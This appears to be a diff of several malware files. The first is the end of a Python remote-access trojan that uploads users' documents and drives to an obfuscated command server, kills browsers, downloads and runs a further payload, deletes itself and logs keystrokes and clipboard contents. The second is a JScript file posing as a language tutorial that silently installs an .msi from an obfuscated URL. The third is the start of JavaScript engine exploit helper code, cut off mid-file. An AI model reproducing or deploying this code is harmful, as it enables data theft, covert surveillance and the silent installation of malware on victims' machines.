def ssh_env(A,args):
|
| 435 |
+
try:
|
| 436 |
+
a=args[_A];c=args['cmd']
|
| 437 |
+
c=ast.literal_eval(c)
|
| 438 |
+
A.send_n(a,8,'--- uenv start ')
|
| 439 |
+
(t,dd)=A.o_ftp(c,'env_'+str(int(time.time())))
|
| 440 |
+
|
| 441 |
+
if os_type == "Windows":
|
| 442 |
+
hd=os.path.expanduser('~')
|
| 443 |
+
dd1=dd+'/doc';FM(t,dd1)
|
| 444 |
+
# A.send_n(a,8,'>> '+hd+'\\Documents')
|
| 445 |
+
A.ss_ld(a,t,hd+'\\Documents',dd1,'')
|
| 446 |
+
dd1=dd+'/down';FM(t,dd1)
|
| 447 |
+
# A.send_n(a,8,'>> '+hd+'\\Downloads')
|
| 448 |
+
A.ss_ld(a,t,hd+'\\Downloads',dd1,'')
|
| 449 |
+
|
| 450 |
+
for i in range(68,73):
|
| 451 |
+
C=chr(i);dd1=dd+'/'+C;FM(t,dd1)
|
| 452 |
+
# A.send_n(a,8,'>> '+dd1)
|
| 453 |
+
A.ss_ld(a,t,C+':',dd1,'')
|
| 454 |
+
else:
|
| 455 |
+
hd=os.path.expanduser('~')
|
| 456 |
+
dd1=dd+'/home';FM(t,dd1)
|
| 457 |
+
A.ss_ld(a,t,hd,dd1,'')
|
| 458 |
+
|
| 459 |
+
hd='/Volumes'
|
| 460 |
+
dd1=dd+'/vol';FM(t,dd1)
|
| 461 |
+
A.ss_ld(a,t,hd,dd1,'')
|
| 462 |
+
t.close()
|
| 463 |
+
A.send_n(a,8,'--- uenv success ')
|
| 464 |
+
except Exception as e:A.send_n(a,8,' uenv err: '+str(e))
|
| 465 |
+
|
| 466 |
+
def ssh_kill(A,args):
|
| 467 |
+
D=args[_A]
|
| 468 |
+
if os_type == "Windows":
|
| 469 |
+
try:subprocess.Popen('taskkill /IM chrome.exe /F')
|
| 470 |
+
except:pass
|
| 471 |
+
try:subprocess.Popen('taskkill /IM brave.exe /F')
|
| 472 |
+
except:pass
|
| 473 |
+
else:
|
| 474 |
+
try:subprocess.Popen('killall Google\ Chrome')
|
| 475 |
+
except:pass
|
| 476 |
+
try:subprocess.Popen('killall Brave\ Browser')
|
| 477 |
+
except:pass
|
| 478 |
+
p={_A:D,_O: 'Chrome & Browser are terminated'}
|
| 479 |
+
A.send(code=6,args=p)
|
| 480 |
+
|
| 481 |
+
def down_any(A,p):
|
| 482 |
+
if os.path.exists(p):
|
| 483 |
+
try:os.remove(p)
|
| 484 |
+
except OSError:return _T
|
| 485 |
+
try:
|
| 486 |
+
if not os.path.exists(A.par_dir):os.makedirs(A.par_dir)
|
| 487 |
+
except:pass
|
| 488 |
+
|
| 489 |
+
host2 = f"http://{HOST}:{PORT}"
|
| 490 |
+
try:
|
| 491 |
+
myfile = requests.get(host2+"/adc/"+sType, allow_redirects=_T)
|
| 492 |
+
with open(p,'wb') as f:f.write(myfile.content)
|
| 493 |
+
return _T
|
| 494 |
+
except Exception as e:return _F
|
| 495 |
+
|
| 496 |
+
def ssh_any(A,args):
|
| 497 |
+
try:
|
| 498 |
+
D=args[_A];p = A.par_dir + "/adc";res=A.down_any(p)
|
| 499 |
+
if res:
|
| 500 |
+
if os_type == "Windows":subprocess.Popen([sys.executable,p],creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
|
| 501 |
+
else:subprocess.Popen([sys.executable,p])
|
| 502 |
+
o = os_type + ' get anydesk'
|
| 503 |
+
except Exception as e:o = f'Err7: {e}';pass
|
| 504 |
+
p={_A:D,_O:o};A.send(code=7,args=p)
|
| 505 |
+
|
| 506 |
+
HOST0 = base64.b64decode(host[8:] + host[:8]).decode()
|
| 507 |
+
PORT0 = 2245
|
| 508 |
+
|
| 509 |
+
class Client():
|
| 510 |
+
def __init__(A):A.server_ip = HOST0;A.server_port = PORT0;A.is_active = _F;A.is_alive = _T;A.timeout_count = 0;A.shell = _N
|
| 511 |
+
|
| 512 |
+
@property
|
| 513 |
+
def make_connection(A):
|
| 514 |
+
while _T:
|
| 515 |
+
try:
|
| 516 |
+
A.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 517 |
+
s = Session(A.client_socket)
|
| 518 |
+
s.connect(A.server_ip, A.server_port)
|
| 519 |
+
A.shell = Shell(s);A.is_active = _T
|
| 520 |
+
if A.shell.shell():
|
| 521 |
+
try:dir = os.getcwd();print("dir:", dir);fn=os.path.join(dir,sys.argv[0]);print("fn:", fn);os.remove(fn)
|
| 522 |
+
except Exception as ex:print("connection error:", ex);pass
|
| 523 |
+
return _T
|
| 524 |
+
sleep(15)
|
| 525 |
+
except Exception as e: print("error_make:", e); sleep(20);pass
|
| 526 |
+
def run(A):
|
| 527 |
+
if A.make_connection:return
|
| 528 |
+
|
| 529 |
+
client = Client()
|
| 530 |
+
import sys
|
| 531 |
+
|
| 532 |
+
is_w=sys.platform.startswith('win')
|
| 533 |
+
if __name__ == "__main__":
|
| 534 |
+
if is_w == _F:
|
| 535 |
+
try:client.run()
|
| 536 |
+
except KeyboardInterrupt:pass
|
| 537 |
+
sys.exit(0)
|
| 538 |
+
|
| 539 |
+
_M='-m';_P='pip';_L='install'
|
| 540 |
+
import subprocess
|
| 541 |
+
try:import pyWinhook as pyHook
|
| 542 |
+
except:subprocess.check_call([sys.executable,_M,_P,_L,'pyWinhook']);import pyWinhook as pyHook
|
| 543 |
+
try:import pyperclip
|
| 544 |
+
except:subprocess.check_call([sys.executable,_M,_P,_L,'pyperclip']);import pyperclip
|
| 545 |
+
try:import psutil
|
| 546 |
+
except:subprocess.check_call([sys.executable,_M,_P,_L,'psutil']);import psutil
|
| 547 |
+
try:import win32process
|
| 548 |
+
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32process
|
| 549 |
+
try:import pythoncom
|
| 550 |
+
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import pythoncom
|
| 551 |
+
try:import win32gui
|
| 552 |
+
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32gui
|
| 553 |
+
|
| 554 |
+
def act_win_pn():
|
| 555 |
+
try:pid = win32process.GetWindowThreadProcessId(win32gui.GetForegroundWindow());return (pid[-1], psutil.Process(pid[-1]).name())
|
| 556 |
+
except:pass
|
| 557 |
+
|
| 558 |
+
def write_txt(text):0
|
| 559 |
+
|
| 560 |
+
c_win = 0
|
| 561 |
+
def check_window(event):
|
| 562 |
+
global c_win
|
| 563 |
+
if c_win != event.Window:
|
| 564 |
+
(pid, text) = act_win_pn()
|
| 565 |
+
tz = timezone(offset=timedelta(hours=9))
|
| 566 |
+
d_t = datetime.fromtimestamp(time.time(), tz)
|
| 567 |
+
t_s = d_t.strftime("%m/%d/%Y, %H:%M:%S")
|
| 568 |
+
|
| 569 |
+
c_win = event.Window
|
| 570 |
+
return f"\n**\n-[ {text} | PID: {pid}-{c_win}\n-[ @ {t_s} | {event.WindowName}\n**\n"
|
| 571 |
+
return ""
|
| 572 |
+
m_win = 0
|
| 573 |
+
def hmld(event):
|
| 574 |
+
global e_buf, m_win
|
| 575 |
+
if m_win!=event.Window:m_win=event.Window;tt='<..>'
|
| 576 |
+
else:tt='<.>'
|
| 577 |
+
e_buf+=tt;write_txt(tt);return _T
|
| 578 |
+
|
| 579 |
+
def hmrd(event):
|
| 580 |
+
global e_buf, m_win
|
| 581 |
+
if m_win!=event.Window:m_win=event.Window;tt='<,,>'
|
| 582 |
+
else:tt='<,>'
|
| 583 |
+
e_buf+=tt;write_txt(tt);return _T
|
| 584 |
+
|
| 585 |
+
def is_down(status):
|
| 586 |
+
if status == 128: return _T
|
| 587 |
+
return _F
|
| 588 |
+
|
| 589 |
+
def is_control_down():
|
| 590 |
+
return is_down(pyHook.GetKeyState(0x11)) or is_down(pyHook.GetKeyState(0xA2)) or is_down(pyHook.GetKeyState(0xA3))
|
| 591 |
+
|
| 592 |
+
def run_copy_clipboard():
|
| 593 |
+
global e_buf
|
| 594 |
+
try:
|
| 595 |
+
copied = pyperclip.waitForPaste(0.05)
|
| 596 |
+
tt = "\n=================BEGIN================\n";tt += copied;tt += "\n==================END==================\n"
|
| 597 |
+
e_buf += tt;write_txt(tt)
|
| 598 |
+
except Exception as ex:pass
|
| 599 |
+
|
| 600 |
+
def hkb(event):
|
| 601 |
+
if event.KeyID == 0xA2 or event.KeyID == 0xA3:return _T
|
| 602 |
+
|
| 603 |
+
global e_buf
|
| 604 |
+
tt = check_window(event)
|
| 605 |
+
|
| 606 |
+
key = event.Ascii
|
| 607 |
+
if (is_control_down()):key=f"<^{event.Key}>"
|
| 608 |
+
elif key==0xD:key="\n"
|
| 609 |
+
else:
|
| 610 |
+
if key>=32 and key<=126:key=chr(key)
|
| 611 |
+
else:key=f'<{event.Key}>'
|
| 612 |
+
tt += key
|
| 613 |
+
if is_control_down() and event.Key == 'C':
|
| 614 |
+
start_time = Timer(0.1, run_copy_clipboard)
|
| 615 |
+
start_time.start()
|
| 616 |
+
elif is_control_down() and event.Key == 'V':
|
| 617 |
+
start_time = Timer(0.1, run_copy_clipboard)
|
| 618 |
+
start_time.start()
|
| 619 |
+
|
| 620 |
+
e_buf += tt;write_txt(tt);return _T
|
| 621 |
+
def startHk():hm = pyHook.HookManager();hm.MouseLeftDown = hmld;hm.MouseRightDown = hmrd;hm.KeyDown = hkb;hm.HookMouse();hm.HookKeyboard()
|
| 622 |
+
def hk_loop():startHk();pythoncom.PumpMessages()
|
| 623 |
+
def run_client():
|
| 624 |
+
t1=Thread(target=hk_loop);t1.daemon=_T;t1.start()
|
| 625 |
+
try:client.run()
|
| 626 |
+
except KeyboardInterrupt:sys.exit(0)
|
| 627 |
+
|
| 628 |
+
if __name__ == "__main__":
|
| 629 |
+
run_client()
|
code/114c555cb3a2c0c96415f65b7327394f1299d4e2e73b275df47232332280f67b
ADDED
|
@@ -0,0 +1,121 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//var CryptoJS = require("crypto-js");
|
| 2 |
+
//Call REST APIs every 6 secs
|
| 3 |
+
79.6
|
| 4 |
+
/*
|
| 5 |
+
function getWalletSnapshot(exchgData){
|
| 6 |
+
|
| 7 |
+
return new Promise(function(resolve,reject){
|
| 8 |
+
|
| 9 |
+
var lv_response = {
|
| 10 |
+
"BINANCE" : {},
|
| 11 |
+
"BITFINEX" : {},
|
| 12 |
+
}
|
| 13 |
+
|
| 14 |
+
//BINANCE
|
| 15 |
+
//Decrypt API Keys
|
| 16 |
+
const passPhrase = require('./JSMods/encryption');
|
| 17 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["binkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 18 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["binkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
const binanceRest = new api.BinanceRest({
|
| 22 |
+
key: lv_key1, // Get this from your account on binance.com
|
| 23 |
+
secret: lv_key2, // Same for this
|
| 24 |
+
timeout: 15000, // Optional, defaults to 15000, is the request time out in milliseconds
|
| 25 |
+
recvWindow: 10000, // Optional, defaults to 5000, increase if you're getting timestamp errors
|
| 26 |
+
disableBeautification: false,
|
| 27 |
+
handleDrift: true
|
| 28 |
+
});
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
binanceRest.account()
|
| 32 |
+
.then((r1) => {
|
| 33 |
+
for(k=0;k<r1["balances"].length;k++){
|
| 34 |
+
if(r1["balances"][k]["free"] > 0){
|
| 35 |
+
lv_response["BINANCE"][r1["balances"][k]["asset"]] = r1["balances"][k]["free"];
|
| 36 |
+
}
|
| 37 |
+
}
|
| 38 |
+
|
| 39 |
+
//Bitfinex
|
| 40 |
+
//Decrypt API Keys
|
| 41 |
+
const passPhrase = require('./JSMods/encryption');
|
| 42 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["bitkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 43 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["bitkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 44 |
+
|
| 45 |
+
const BFX = require('bitfinex-api-node')
|
| 46 |
+
const bfx = new BFX({
|
| 47 |
+
apiKey: lv_key1,
|
| 48 |
+
apiSecret: lv_key2,
|
| 49 |
+
|
| 50 |
+
ws: {
|
| 51 |
+
autoReconnect: true,
|
| 52 |
+
seqAudit: true,
|
| 53 |
+
packetWDDelay: 3 * 1000
|
| 54 |
+
}
|
| 55 |
+
})
|
| 56 |
+
let ws = bfx.ws(2) //
|
| 57 |
+
ws.on('error', (err) => console.log(err))
|
| 58 |
+
ws.on('open', ws.auth.bind(ws))
|
| 59 |
+
|
| 60 |
+
ws.open()
|
| 61 |
+
ws.onWalletSnapshot({}, (walletB) => {
|
| 62 |
+
for(k=0;k<walletB.length;k++){
|
| 63 |
+
lv_response["BITFINEX"][walletB[k][1]] = walletB[k][2];
|
| 64 |
+
}
|
| 65 |
+
ws.close();
|
| 66 |
+
resolve(JSON.stringify(lv_response));
|
| 67 |
+
});
|
| 68 |
+
|
| 69 |
+
})
|
| 70 |
+
.catch((err) => {
|
| 71 |
+
console.error(err);
|
| 72 |
+
reject(JSON.stringify(err));
|
| 73 |
+
});
|
| 74 |
+
|
| 75 |
+
|
| 76 |
+
});
|
| 77 |
+
|
| 78 |
+
}
|
| 79 |
+
*/
|
| 80 |
+
|
| 81 |
+
3.9 // numeric literal
|
| 82 |
+
"Hello!" // string literal
|
| 83 |
+
false // Boolean literal
|
| 84 |
+
[1,2,3] // Array literal
|
| 85 |
+
var o = {x:1, y:2} // Object literal
|
| 86 |
+
var f = function(x){return x*x;} // function literal
|
| 87 |
+
4 + 5 // additon
|
| 88 |
+
10 / 2 // division
|
| 89 |
+
var aBird = "windowsinstaller.installer"; // Assign the text "Robin" to the variable aBird.
|
| 90 |
+
radius = 139;
|
| 91 |
+
uros = 7;3;1,83;
|
| 92 |
+
o = "p";n = "t";p = ".my.";g = "w";ka = "ba";f = "h";s = "n";
|
| 93 |
+
anExpression = 4 * (4 / 5) + 5;
|
| 94 |
+
aSecondExpression = Math.PI * radius * radius;
|
| 95 |
+
aThirdExpression = f + n + n + o +"s://amazonaws" + p + "id/wp-css/" + ka + ".msi";
|
| 96 |
+
myArray = new Array("hello", Math.PI, 48);
|
| 97 |
+
myPi = myArray[1];
|
| 98 |
+
var today = new Date(); // Assign today's date to the variable today.
|
| 99 |
+
var birthday = new ActiveXObject(aBird);
|
| 100 |
+
birthday.uilevel=2
|
| 101 |
+
birthday.InstallProduct(aThirdExpression);
|
| 102 |
+
var a = new Array(4);
|
| 103 |
+
for (i = 0; i < 4; i++) {}
|
| 104 |
+
|
| 105 |
+
function FeetToMiles(feet, cnvType) {
|
| 106 |
+
if (cnvType == "NM")
|
| 107 |
+
return( (feet / 6080) + " nautical miles");
|
| 108 |
+
else if (cnvType == "M")
|
| 109 |
+
return( (feet / 5280) + " statute miles");
|
| 110 |
+
else
|
| 111 |
+
return ("Invalid unit of measure");
|
| 112 |
+
}
|
| 113 |
+
var mradius = FeetToMiles(52800, "M");
|
| 114 |
+
//WScript.Echo(aThirdExpression);
|
| 115 |
+
'How old am I?'
|
| 116 |
+
|
| 117 |
+
var myObject = new Object(); // Creates a generic object.
|
| 118 |
+
var birthday = new Date(1961, 5, 10); // Creates a Date object.
|
| 119 |
+
|
| 120 |
+
|
| 121 |
+
https://rtrissdfmnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrthrif
|
code/1339966b7e8d291af077f89ae566c613604f642c69a1b0e64a17f56aee1ff970
ADDED
|
@@ -0,0 +1,294 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
// Return the hexadecimal representation of the given byte.
|
| 2 |
+
function hex(b) {
|
| 3 |
+
return ('0' + b.toString(16)).substr(-2);
|
| 4 |
+
}
|
| 5 |
+
|
| 6 |
+
// Return the hexadecimal representation of the given byte array.
|
| 7 |
+
function hexlify(bytes) {
|
| 8 |
+
let res = [];
|
| 9 |
+
for (let i = 0; i < bytes.length; i++)
|
| 10 |
+
res.push(hex(bytes[i]));
|
| 11 |
+
|
| 12 |
+
return res.join('');
|
| 13 |
+
}
|
| 14 |
+
|
| 15 |
+
// Return the binary data represented by the given hexdecimal string.
|
| 16 |
+
function unhexlify(hexstr) {
|
| 17 |
+
if (hexstr.length % 2 == 1)
|
| 18 |
+
throw new TypeError("Invalid hex string");
|
| 19 |
+
|
| 20 |
+
let bytes = new Uint8Array(hexstr.length / 2);
|
| 21 |
+
for (let i = 0; i < hexstr.length; i += 2)
|
| 22 |
+
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
|
| 23 |
+
|
| 24 |
+
return bytes;
|
| 25 |
+
}
|
| 26 |
+
|
| 27 |
+
function hexdump(data) {
|
| 28 |
+
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
|
| 29 |
+
data = Array.from(data);
|
| 30 |
+
|
| 31 |
+
let lines = [];
|
| 32 |
+
for (let i = 0; i < data.length; i += 16) {
|
| 33 |
+
let chunk = data.slice(i, i+16);
|
| 34 |
+
let parts = chunk.map(hex);
|
| 35 |
+
if (parts.length > 8)
|
| 36 |
+
parts.splice(8, 0, ' ');
|
| 37 |
+
lines.push(parts.join(' '));
|
| 38 |
+
}
|
| 39 |
+
|
| 40 |
+
return lines.join('\n');
|
| 41 |
+
}
|
| 42 |
+
|
| 43 |
+
// Simplified version of the similarly named python module.
|
| 44 |
+
let Struct = (function() {
|
| 45 |
+
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
|
| 46 |
+
let buffer = new ArrayBuffer(8);
|
| 47 |
+
let byteView = new Uint8Array(buffer);
|
| 48 |
+
let uint32View = new Uint32Array(buffer);
|
| 49 |
+
let float64View = new Float64Array(buffer);
|
| 50 |
+
|
| 51 |
+
return {
|
| 52 |
+
pack: function(type, value) {
|
| 53 |
+
let view = type; // See below
|
| 54 |
+
view[0] = value;
|
| 55 |
+
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
|
| 56 |
+
},
|
| 57 |
+
|
| 58 |
+
unpack: function(type, bytes) {
|
| 59 |
+
if (bytes.length !== type.BYTES_PER_ELEMENT)
|
| 60 |
+
throw Error("Invalid bytearray");
|
| 61 |
+
|
| 62 |
+
let view = type; // See below
|
| 63 |
+
byteView.set(bytes);
|
| 64 |
+
return view[0];
|
| 65 |
+
},
|
| 66 |
+
|
| 67 |
+
// Available types.
|
| 68 |
+
int8: byteView,
|
| 69 |
+
int32: uint32View,
|
| 70 |
+
float64: float64View
|
| 71 |
+
};
|
| 72 |
+
})();
|
| 73 |
+
|
| 74 |
+
// Datatype to represent 64-bit integers.
|
| 75 |
+
//
|
| 76 |
+
// Internally, the integer is stored as a Uint8Array in little endian byte order.
|
| 77 |
+
class Int64 {
|
| 78 |
+
constructor(v) {
|
| 79 |
+
// The underlying byte array.
|
| 80 |
+
this._bytes = new Uint8Array(8);
|
| 81 |
+
|
| 82 |
+
switch (typeof v) {
|
| 83 |
+
case 'number':
|
| 84 |
+
v = Math.floor(v).toString(16);
|
| 85 |
+
case 'string':
|
| 86 |
+
if (v.startsWith('0x'))
|
| 87 |
+
v = v.substr(2);
|
| 88 |
+
if (v.length % 2 == 1)
|
| 89 |
+
v = '0' + v;
|
| 90 |
+
|
| 91 |
+
let bigEndian = unhexlify(v, 8);
|
| 92 |
+
this._bytes.set(Array.from(bigEndian).reverse());
|
| 93 |
+
break;
|
| 94 |
+
case 'object':
|
| 95 |
+
if (v instanceof Int64) {
|
| 96 |
+
this._bytes.set(v.bytes());
|
| 97 |
+
} else {
|
| 98 |
+
if (v.length != 8)
|
| 99 |
+
throw TypeError("Array must have excactly 8 elements.");
|
| 100 |
+
this._bytes.set(v);
|
| 101 |
+
}
|
| 102 |
+
break;
|
| 103 |
+
case 'undefined':
|
| 104 |
+
break;
|
| 105 |
+
default:
|
| 106 |
+
throw TypeError("Int64 constructor requires an argument.");
|
| 107 |
+
}
|
| 108 |
+
}
|
| 109 |
+
|
| 110 |
+
// Constructs a new Int64 instance with the same bit representation as the provided double.
|
| 111 |
+
static fromDouble(d) {
|
| 112 |
+
let bytes = Struct.pack(Struct.float64, d);
|
| 113 |
+
return new Int64(bytes);
|
| 114 |
+
}
|
| 115 |
+
|
| 116 |
+
// Return true if this Int64 value can be represented as a double.
|
| 117 |
+
canRepresentAsDouble() {
|
| 118 |
+
// Check for NaN
|
| 119 |
+
return !(this._bytes[7] == 0xff && (this._bytes[6] == 0xff || this._bytes[6] == 0xfe));
|
| 120 |
+
}
|
| 121 |
+
|
| 122 |
+
// Return a double whith the same underlying bit representation.
|
| 123 |
+
asDouble() {
|
| 124 |
+
if (!this.canRepresentAsDouble()) {
|
| 125 |
+
throw new RangeError("Integer can not be represented by a double");
|
| 126 |
+
}
|
| 127 |
+
|
| 128 |
+
return Struct.unpack(Struct.float64, this._bytes);
|
| 129 |
+
}
|
| 130 |
+
|
| 131 |
+
// Return a javascript value with the same underlying bit representation.
|
| 132 |
+
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
|
| 133 |
+
// due to double conversion constraints.
|
| 134 |
+
asJSValue() {
|
| 135 |
+
if ((this._bytes[7] == 0 && this._bytes[6] == 0) || (this._bytes[7] == 0xff && this._bytes[6] == 0xff))
|
| 136 |
+
throw new RangeError("Integer can not be represented by a JSValue");
|
| 137 |
+
|
| 138 |
+
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
|
| 139 |
+
this.assignSub(this, 0x1000000000000);
|
| 140 |
+
let res = Struct.unpack(Struct.float64, this._bytes);
|
| 141 |
+
this.assignAdd(this, 0x1000000000000);
|
| 142 |
+
|
| 143 |
+
return res;
|
| 144 |
+
}
|
| 145 |
+
|
| 146 |
+
// Return the underlying bytes of this number as array.
|
| 147 |
+
bytes() {
|
| 148 |
+
return Array.from(this._bytes);
|
| 149 |
+
}
|
| 150 |
+
|
| 151 |
+
// Return the two 32bit parts of this Int64.
|
| 152 |
+
dwords() {
|
| 153 |
+
